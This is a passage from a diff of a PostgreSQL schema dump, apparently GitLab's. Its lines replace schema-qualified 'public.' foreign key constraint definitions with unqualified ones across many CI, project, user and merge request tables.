+ ADD CONSTRAINT fk_rails_1013b761f2 FOREIGN KEY (build_id) REFERENCES ci_builds(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_build_report_results
- ADD CONSTRAINT fk_rails_056d298d48 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerability_exports
+ ADD CONSTRAINT fk_rails_1019162882 FOREIGN KEY (author_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_daily_build_group_report_results
- ADD CONSTRAINT fk_rails_0667f7608c FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY prometheus_alert_events
+ ADD CONSTRAINT fk_rails_106f901176 FOREIGN KEY (prometheus_alert_id) REFERENCES prometheus_alerts(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_subscriptions_projects
- ADD CONSTRAINT fk_rails_0818751483 FOREIGN KEY (downstream_project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_sources_projects
+ ADD CONSTRAINT fk_rails_10a1eb379a FOREIGN KEY (pipeline_id) REFERENCES ci_pipelines(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.trending_projects
- ADD CONSTRAINT fk_rails_09feecd872 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY zoom_meetings
+ ADD CONSTRAINT fk_rails_1190f0e0fa FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.project_deploy_tokens
- ADD CONSTRAINT fk_rails_0aca134388 FOREIGN KEY (deploy_token_id) REFERENCES public.deploy_tokens(id) ON DELETE CASCADE;
+ALTER TABLE ONLY gpg_signatures
+ ADD CONSTRAINT fk_rails_11ae8cb9a7 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.packages_conan_file_metadata
- ADD CONSTRAINT fk_rails_0afabd9328 FOREIGN KEY (package_file_id) REFERENCES public.packages_package_files(id) ON DELETE CASCADE;
+ALTER TABLE ONLY project_authorizations
+ ADD CONSTRAINT fk_rails_11e7aa3ed9 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.operations_user_lists
- ADD CONSTRAINT fk_rails_0c716e079b FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY description_versions
+ ADD CONSTRAINT fk_rails_12b144011c FOREIGN KEY (merge_request_id) REFERENCES merge_requests(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.geo_node_statuses
- ADD CONSTRAINT fk_rails_0ecc699c2a FOREIGN KEY (geo_node_id) REFERENCES public.geo_nodes(id) ON DELETE CASCADE;
+ALTER TABLE ONLY project_statistics
+ ADD CONSTRAINT fk_rails_12c471002f FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.project_repository_states
- ADD CONSTRAINT fk_rails_0f2298ca8a FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY user_details
+ ADD CONSTRAINT fk_rails_12e0b3043d FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.user_synced_attributes_metadata
- ADD CONSTRAINT fk_rails_0f4aa0981f FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY diff_note_positions
+ ADD CONSTRAINT fk_rails_13c7212859 FOREIGN KEY (note_id) REFERENCES notes(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.project_authorizations
- ADD CONSTRAINT fk_rails_0f84bb11f3 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY users_security_dashboard_projects
+ ADD CONSTRAINT fk_rails_150cd5682c FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.merge_request_context_commits
- ADD CONSTRAINT fk_rails_0fe0039f60 FOREIGN KEY (merge_request_id) REFERENCES public.merge_requests(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_build_report_results
+ ADD CONSTRAINT fk_rails_16cb1ff064 FOREIGN KEY (build_id) REFERENCES ci_builds(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_build_trace_chunks
- ADD CONSTRAINT fk_rails_1013b761f2 FOREIGN KEY (build_id) REFERENCES public.ci_builds(id) ON DELETE CASCADE;
+ALTER TABLE ONLY project_deploy_tokens
+ ADD CONSTRAINT fk_rails_170e03cbaf FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.vulnerability_exports
- ADD CONSTRAINT fk_rails_1019162882 FOREIGN KEY (author_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY analytics_cycle_analytics_project_stages
+ ADD CONSTRAINT fk_rails_1722574860 FOREIGN KEY (start_event_label_id) REFERENCES labels(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.prometheus_alert_events
- ADD CONSTRAINT fk_rails_106f901176 FOREIGN KEY (prometheus_alert_id) REFERENCES public.prometheus_alerts(id) ON DELETE CASCADE;
+ALTER TABLE ONLY packages_build_infos
+ ADD CONSTRAINT fk_rails_17a9a0dffc FOREIGN KEY (pipeline_id) REFERENCES ci_pipelines(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.ci_sources_projects
- ADD CONSTRAINT fk_rails_10a1eb379a FOREIGN KEY (pipeline_id) REFERENCES public.ci_pipelines(id) ON DELETE CASCADE;
+ALTER TABLE ONLY clusters_applications_jupyter
+ ADD CONSTRAINT fk_rails_17df21c98c FOREIGN KEY (cluster_id) REFERENCES clusters(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.zoom_meetings
- ADD CONSTRAINT fk_rails_1190f0e0fa FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY cluster_providers_aws
+ ADD CONSTRAINT fk_rails_18983d9ea4 FOREIGN KEY (cluster_id) REFERENCES clusters(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.gpg_signatures
- ADD CONSTRAINT fk_rails_11ae8cb9a7 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY grafana_integrations
+ ADD CONSTRAINT fk_rails_18d0e2b564 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.project_authorizations
- ADD CONSTRAINT fk_rails_11e7aa3ed9 FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY group_wiki_repositories
+ ADD CONSTRAINT fk_rails_19755e374b FOREIGN KEY (shard_id) REFERENCES shards(id) ON DELETE RESTRICT;
-ALTER TABLE ONLY public.description_versions
- ADD CONSTRAINT fk_rails_12b144011c FOREIGN KEY (merge_request_id) REFERENCES public.merge_requests(id) ON DELETE CASCADE;
+ALTER TABLE ONLY open_project_tracker_data
+ ADD CONSTRAINT fk_rails_1987546e48 FOREIGN KEY (service_id) REFERENCES services(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.project_statistics
- ADD CONSTRAINT fk_rails_12c471002f FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY gpg_signatures
+ ADD CONSTRAINT fk_rails_19d4f1c6f9 FOREIGN KEY (gpg_key_subkey_id) REFERENCES gpg_key_subkeys(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.user_details
- ADD CONSTRAINT fk_rails_12e0b3043d FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerability_user_mentions
+ ADD CONSTRAINT fk_rails_1a41c485cd FOREIGN KEY (vulnerability_id) REFERENCES vulnerabilities(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.diff_note_positions
- ADD CONSTRAINT fk_rails_13c7212859 FOREIGN KEY (note_id) REFERENCES public.notes(id) ON DELETE CASCADE;
+ALTER TABLE ONLY board_assignees
+ ADD CONSTRAINT fk_rails_1c0ff59e82 FOREIGN KEY (assignee_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.users_security_dashboard_projects
- ADD CONSTRAINT fk_rails_150cd5682c FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY epic_user_mentions
+ ADD CONSTRAINT fk_rails_1c65976a49 FOREIGN KEY (note_id) REFERENCES notes(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.ci_build_report_results
- ADD CONSTRAINT fk_rails_16cb1ff064 FOREIGN KEY (build_id) REFERENCES public.ci_builds(id) ON DELETE CASCADE;
+ALTER TABLE ONLY approver_groups
+ ADD CONSTRAINT fk_rails_1cdcbd7723 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.project_deploy_tokens
- ADD CONSTRAINT fk_rails_170e03cbaf FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY packages_tags
+ ADD CONSTRAINT fk_rails_1dfc868911 FOREIGN KEY (package_id) REFERENCES packages_packages(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.analytics_cycle_analytics_project_stages
- ADD CONSTRAINT fk_rails_1722574860 FOREIGN KEY (start_event_label_id) REFERENCES public.labels(id) ON DELETE CASCADE;
+ALTER TABLE ONLY geo_repository_created_events
+ ADD CONSTRAINT fk_rails_1f49e46a61 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.packages_build_infos
- ADD CONSTRAINT fk_rails_17a9a0dffc FOREIGN KEY (pipeline_id) REFERENCES public.ci_pipelines(id) ON DELETE SET NULL;
+ALTER TABLE ONLY approval_merge_request_rules_groups
+ ADD CONSTRAINT fk_rails_2020a7124a FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.clusters_applications_jupyter
- ADD CONSTRAINT fk_rails_17df21c98c FOREIGN KEY (cluster_id) REFERENCES public.clusters(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerability_feedback
+ ADD CONSTRAINT fk_rails_20976e6fd9 FOREIGN KEY (pipeline_id) REFERENCES ci_pipelines(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.cluster_providers_aws
- ADD CONSTRAINT fk_rails_18983d9ea4 FOREIGN KEY (cluster_id) REFERENCES public.clusters(id) ON DELETE CASCADE;
+ALTER TABLE ONLY user_statuses
+ ADD CONSTRAINT fk_rails_2178592333 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.grafana_integrations
- ADD CONSTRAINT fk_rails_18d0e2b564 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY users_ops_dashboard_projects
+ ADD CONSTRAINT fk_rails_220a0562db FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.group_wiki_repositories
- ADD CONSTRAINT fk_rails_19755e374b FOREIGN KEY (shard_id) REFERENCES public.shards(id) ON DELETE RESTRICT;
+ALTER TABLE ONLY clusters_applications_runners
+ ADD CONSTRAINT fk_rails_22388594e9 FOREIGN KEY (cluster_id) REFERENCES clusters(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.open_project_tracker_data
- ADD CONSTRAINT fk_rails_1987546e48 FOREIGN KEY (service_id) REFERENCES public.services(id) ON DELETE CASCADE;
+ALTER TABLE ONLY service_desk_settings
+ ADD CONSTRAINT fk_rails_223a296a85 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.gpg_signatures
- ADD CONSTRAINT fk_rails_19d4f1c6f9 FOREIGN KEY (gpg_key_subkey_id) REFERENCES public.gpg_key_subkeys(id) ON DELETE SET NULL;
+ALTER TABLE ONLY group_custom_attributes
+ ADD CONSTRAINT fk_rails_246e0db83a FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.vulnerability_user_mentions
- ADD CONSTRAINT fk_rails_1a41c485cd FOREIGN KEY (vulnerability_id) REFERENCES public.vulnerabilities(id) ON DELETE CASCADE;
+ALTER TABLE ONLY cluster_agents
+ ADD CONSTRAINT fk_rails_25e9fc2d5d FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.board_assignees
- ADD CONSTRAINT fk_rails_1c0ff59e82 FOREIGN KEY (assignee_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY boards_epic_user_preferences
+ ADD CONSTRAINT fk_rails_268c57d62d FOREIGN KEY (board_id) REFERENCES boards(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.epic_user_mentions
- ADD CONSTRAINT fk_rails_1c65976a49 FOREIGN KEY (note_id) REFERENCES public.notes(id) ON DELETE CASCADE;
+ALTER TABLE ONLY group_wiki_repositories
+ ADD CONSTRAINT fk_rails_26f867598c FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.approver_groups
- ADD CONSTRAINT fk_rails_1cdcbd7723 FOREIGN KEY (group_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY lfs_file_locks
+ ADD CONSTRAINT fk_rails_27a1d98fa8 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.packages_tags
- ADD CONSTRAINT fk_rails_1dfc868911 FOREIGN KEY (package_id) REFERENCES public.packages_packages(id) ON DELETE CASCADE;
+ALTER TABLE ONLY project_alerting_settings
+ ADD CONSTRAINT fk_rails_27a84b407d FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.geo_repository_created_events
- ADD CONSTRAINT fk_rails_1f49e46a61 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY dast_site_validations
+ ADD CONSTRAINT fk_rails_285c617324 FOREIGN KEY (dast_site_token_id) REFERENCES dast_site_tokens(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.approval_merge_request_rules_groups
- ADD CONSTRAINT fk_rails_2020a7124a FOREIGN KEY (group_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY resource_state_events
+ ADD CONSTRAINT fk_rails_29af06892a FOREIGN KEY (issue_id) REFERENCES issues(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.vulnerability_feedback
- ADD CONSTRAINT fk_rails_20976e6fd9 FOREIGN KEY (pipeline_id) REFERENCES public.ci_pipelines(id) ON DELETE SET NULL;
+ALTER TABLE ONLY reviews
+ ADD CONSTRAINT fk_rails_29e6f859c4 FOREIGN KEY (author_id) REFERENCES users(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.user_statuses
- ADD CONSTRAINT fk_rails_2178592333 FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY draft_notes
+ ADD CONSTRAINT fk_rails_2a8dac9901 FOREIGN KEY (author_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.users_ops_dashboard_projects
- ADD CONSTRAINT fk_rails_220a0562db FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY group_group_links
+ ADD CONSTRAINT fk_rails_2b2353ca49 FOREIGN KEY (shared_with_group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.clusters_applications_runners
- ADD CONSTRAINT fk_rails_22388594e9 FOREIGN KEY (cluster_id) REFERENCES public.clusters(id) ON DELETE CASCADE;
+ALTER TABLE ONLY geo_repository_updated_events
+ ADD CONSTRAINT fk_rails_2b70854c08 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.service_desk_settings
- ADD CONSTRAINT fk_rails_223a296a85 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY protected_branch_unprotect_access_levels
+ ADD CONSTRAINT fk_rails_2d2aba21ef FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.group_custom_attributes
- ADD CONSTRAINT fk_rails_246e0db83a FOREIGN KEY (group_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_freeze_periods
+ ADD CONSTRAINT fk_rails_2e02bbd1a6 FOREIGN KEY (project_id) REFERENCES projects(id);
-ALTER TABLE ONLY public.requirements_management_test_reports
- ADD CONSTRAINT fk_rails_24cecc1e68 FOREIGN KEY (pipeline_id) REFERENCES public.ci_pipelines(id) ON DELETE SET NULL;
+ALTER TABLE ONLY issuable_severities
+ ADD CONSTRAINT fk_rails_2fbb74ad6d FOREIGN KEY (issue_id) REFERENCES issues(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.cluster_agents
- ADD CONSTRAINT fk_rails_25e9fc2d5d FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY saml_providers
+ ADD CONSTRAINT fk_rails_306d459be7 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.group_wiki_repositories
- ADD CONSTRAINT fk_rails_26f867598c FOREIGN KEY (group_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY resource_state_events
+ ADD CONSTRAINT fk_rails_3112bba7dc FOREIGN KEY (merge_request_id) REFERENCES merge_requests(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.lfs_file_locks
- ADD CONSTRAINT fk_rails_27a1d98fa8 FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY merge_request_diff_commits
+ ADD CONSTRAINT fk_rails_316aaceda3 FOREIGN KEY (merge_request_diff_id) REFERENCES merge_request_diffs(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.project_alerting_settings
- ADD CONSTRAINT fk_rails_27a84b407d FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY group_import_states
+ ADD CONSTRAINT fk_rails_31c3e0503a FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.resource_state_events
- ADD CONSTRAINT fk_rails_29af06892a FOREIGN KEY (issue_id) REFERENCES public.issues(id) ON DELETE CASCADE;
+ALTER TABLE ONLY zoom_meetings
+ ADD CONSTRAINT fk_rails_3263f29616 FOREIGN KEY (issue_id) REFERENCES issues(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.reviews
- ADD CONSTRAINT fk_rails_29e6f859c4 FOREIGN KEY (author_id) REFERENCES public.users(id) ON DELETE SET NULL;
+ALTER TABLE ONLY container_repositories
+ ADD CONSTRAINT fk_rails_32f7bf5aad FOREIGN KEY (project_id) REFERENCES projects(id);
-ALTER TABLE ONLY public.draft_notes
- ADD CONSTRAINT fk_rails_2a8dac9901 FOREIGN KEY (author_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY clusters_applications_jupyter
+ ADD CONSTRAINT fk_rails_331f0aff78 FOREIGN KEY (oauth_application_id) REFERENCES oauth_applications(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.group_group_links
- ADD CONSTRAINT fk_rails_2b2353ca49 FOREIGN KEY (shared_with_group_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY merge_request_metrics
+ ADD CONSTRAINT fk_rails_33ae169d48 FOREIGN KEY (pipeline_id) REFERENCES ci_pipelines(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.geo_repository_updated_events
- ADD CONSTRAINT fk_rails_2b70854c08 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY suggestions
+ ADD CONSTRAINT fk_rails_33b03a535c FOREIGN KEY (note_id) REFERENCES notes(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.protected_branch_unprotect_access_levels
- ADD CONSTRAINT fk_rails_2d2aba21ef FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY requirements
+ ADD CONSTRAINT fk_rails_33fed8aa4e FOREIGN KEY (author_id) REFERENCES users(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.ci_freeze_periods
- ADD CONSTRAINT fk_rails_2e02bbd1a6 FOREIGN KEY (project_id) REFERENCES public.projects(id);
+ALTER TABLE ONLY metrics_dashboard_annotations
+ ADD CONSTRAINT fk_rails_345ab51043 FOREIGN KEY (cluster_id) REFERENCES clusters(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.saml_providers
- ADD CONSTRAINT fk_rails_306d459be7 FOREIGN KEY (group_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY wiki_page_slugs
+ ADD CONSTRAINT fk_rails_358b46be14 FOREIGN KEY (wiki_page_meta_id) REFERENCES wiki_page_meta(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.resource_state_events
- ADD CONSTRAINT fk_rails_3112bba7dc FOREIGN KEY (merge_request_id) REFERENCES public.merge_requests(id) ON DELETE CASCADE;
+ALTER TABLE ONLY board_labels
+ ADD CONSTRAINT fk_rails_362b0600a3 FOREIGN KEY (label_id) REFERENCES labels(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.merge_request_diff_commits
- ADD CONSTRAINT fk_rails_316aaceda3 FOREIGN KEY (merge_request_diff_id) REFERENCES public.merge_request_diffs(id) ON DELETE CASCADE;
+ALTER TABLE ONLY merge_request_blocks
+ ADD CONSTRAINT fk_rails_364d4bea8b FOREIGN KEY (blocked_merge_request_id) REFERENCES merge_requests(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.group_import_states
- ADD CONSTRAINT fk_rails_31c3e0503a FOREIGN KEY (group_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY merge_request_reviewers
+ ADD CONSTRAINT fk_rails_3704a66140 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.zoom_meetings
- ADD CONSTRAINT fk_rails_3263f29616 FOREIGN KEY (issue_id) REFERENCES public.issues(id) ON DELETE CASCADE;
+ALTER TABLE ONLY analytics_cycle_analytics_project_stages
+ ADD CONSTRAINT fk_rails_3829e49b66 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.container_repositories
- ADD CONSTRAINT fk_rails_32f7bf5aad FOREIGN KEY (project_id) REFERENCES public.projects(id);
+ALTER TABLE ONLY issue_user_mentions
+ ADD CONSTRAINT fk_rails_3861d9fefa FOREIGN KEY (note_id) REFERENCES notes(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.clusters_applications_jupyter
- ADD CONSTRAINT fk_rails_331f0aff78 FOREIGN KEY (oauth_application_id) REFERENCES public.oauth_applications(id) ON DELETE SET NULL;
+ALTER TABLE ONLY namespace_settings
+ ADD CONSTRAINT fk_rails_3896d4fae5 FOREIGN KEY (namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.merge_request_metrics
- ADD CONSTRAINT fk_rails_33ae169d48 FOREIGN KEY (pipeline_id) REFERENCES public.ci_pipelines(id) ON DELETE CASCADE;
+ALTER TABLE ONLY self_managed_prometheus_alert_events
+ ADD CONSTRAINT fk_rails_3936dadc62 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.suggestions
- ADD CONSTRAINT fk_rails_33b03a535c FOREIGN KEY (note_id) REFERENCES public.notes(id) ON DELETE CASCADE;
+ALTER TABLE ONLY approval_project_rules_groups
+ ADD CONSTRAINT fk_rails_396841e79e FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.requirements
- ADD CONSTRAINT fk_rails_33fed8aa4e FOREIGN KEY (author_id) REFERENCES public.users(id) ON DELETE SET NULL;
+ALTER TABLE ONLY self_managed_prometheus_alert_events
+ ADD CONSTRAINT fk_rails_39d83d1b65 FOREIGN KEY (environment_id) REFERENCES environments(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.metrics_dashboard_annotations
- ADD CONSTRAINT fk_rails_345ab51043 FOREIGN KEY (cluster_id) REFERENCES public.clusters(id) ON DELETE CASCADE;
+ALTER TABLE ONLY chat_teams
+ ADD CONSTRAINT fk_rails_3b543909cb FOREIGN KEY (namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.wiki_page_slugs
- ADD CONSTRAINT fk_rails_358b46be14 FOREIGN KEY (wiki_page_meta_id) REFERENCES public.wiki_page_meta(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_build_needs
+ ADD CONSTRAINT fk_rails_3cf221d4ed FOREIGN KEY (build_id) REFERENCES ci_builds(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.board_labels
- ADD CONSTRAINT fk_rails_362b0600a3 FOREIGN KEY (label_id) REFERENCES public.labels(id) ON DELETE CASCADE;
+ALTER TABLE ONLY cluster_groups
+ ADD CONSTRAINT fk_rails_3d28377556 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.merge_request_blocks
- ADD CONSTRAINT fk_rails_364d4bea8b FOREIGN KEY (blocked_merge_request_id) REFERENCES public.merge_requests(id) ON DELETE CASCADE;
+ALTER TABLE ONLY note_diff_files
+ ADD CONSTRAINT fk_rails_3d66047aeb FOREIGN KEY (diff_note_id) REFERENCES notes(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.analytics_cycle_analytics_project_stages
- ADD CONSTRAINT fk_rails_3829e49b66 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY snippet_user_mentions
+ ADD CONSTRAINT fk_rails_3e00189191 FOREIGN KEY (snippet_id) REFERENCES snippets(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.issue_user_mentions
- ADD CONSTRAINT fk_rails_3861d9fefa FOREIGN KEY (note_id) REFERENCES public.notes(id) ON DELETE CASCADE;
+ALTER TABLE ONLY clusters_applications_helm
+ ADD CONSTRAINT fk_rails_3e2b1c06bc FOREIGN KEY (cluster_id) REFERENCES clusters(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.namespace_settings
- ADD CONSTRAINT fk_rails_3896d4fae5 FOREIGN KEY (namespace_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY epic_user_mentions
+ ADD CONSTRAINT fk_rails_3eaf4d88cc FOREIGN KEY (epic_id) REFERENCES epics(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.self_managed_prometheus_alert_events
- ADD CONSTRAINT fk_rails_3936dadc62 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY analytics_cycle_analytics_project_stages
+ ADD CONSTRAINT fk_rails_3ec9fd7912 FOREIGN KEY (end_event_label_id) REFERENCES labels(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.approval_project_rules_groups
- ADD CONSTRAINT fk_rails_396841e79e FOREIGN KEY (group_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY board_assignees
+ ADD CONSTRAINT fk_rails_3f6f926bd5 FOREIGN KEY (board_id) REFERENCES boards(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.self_managed_prometheus_alert_events
- ADD CONSTRAINT fk_rails_39d83d1b65 FOREIGN KEY (environment_id) REFERENCES public.environments(id) ON DELETE CASCADE;
+ALTER TABLE ONLY description_versions
+ ADD CONSTRAINT fk_rails_3ff658220b FOREIGN KEY (issue_id) REFERENCES issues(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.chat_teams
- ADD CONSTRAINT fk_rails_3b543909cb FOREIGN KEY (namespace_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY clusters_kubernetes_namespaces
+ ADD CONSTRAINT fk_rails_40cc7ccbc3 FOREIGN KEY (cluster_project_id) REFERENCES cluster_projects(id) ON DELETE SET NULL;
-ALTER TABLE ONLY public.ci_build_needs
- ADD CONSTRAINT fk_rails_3cf221d4ed FOREIGN KEY (build_id) REFERENCES public.ci_builds(id) ON DELETE CASCADE;
+ALTER TABLE ONLY geo_node_namespace_links
+ ADD CONSTRAINT fk_rails_41ff5fb854 FOREIGN KEY (namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.cluster_groups
- ADD CONSTRAINT fk_rails_3d28377556 FOREIGN KEY (group_id) REFERENCES public.namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY epic_issues
+ ADD CONSTRAINT fk_rails_4209981af6 FOREIGN KEY (issue_id) REFERENCES issues(id) ON DELETE CASCADE;
-ALTER TABLE ONLY public.note_diff_files
- ADD CONSTRAINT fk_rails_3d66047aeb FOREIGN KEY (diff_note_id) REFERENCES public.notes(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_refs
+ ADD CONSTRAINT fk_rails_4249db8cc3 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
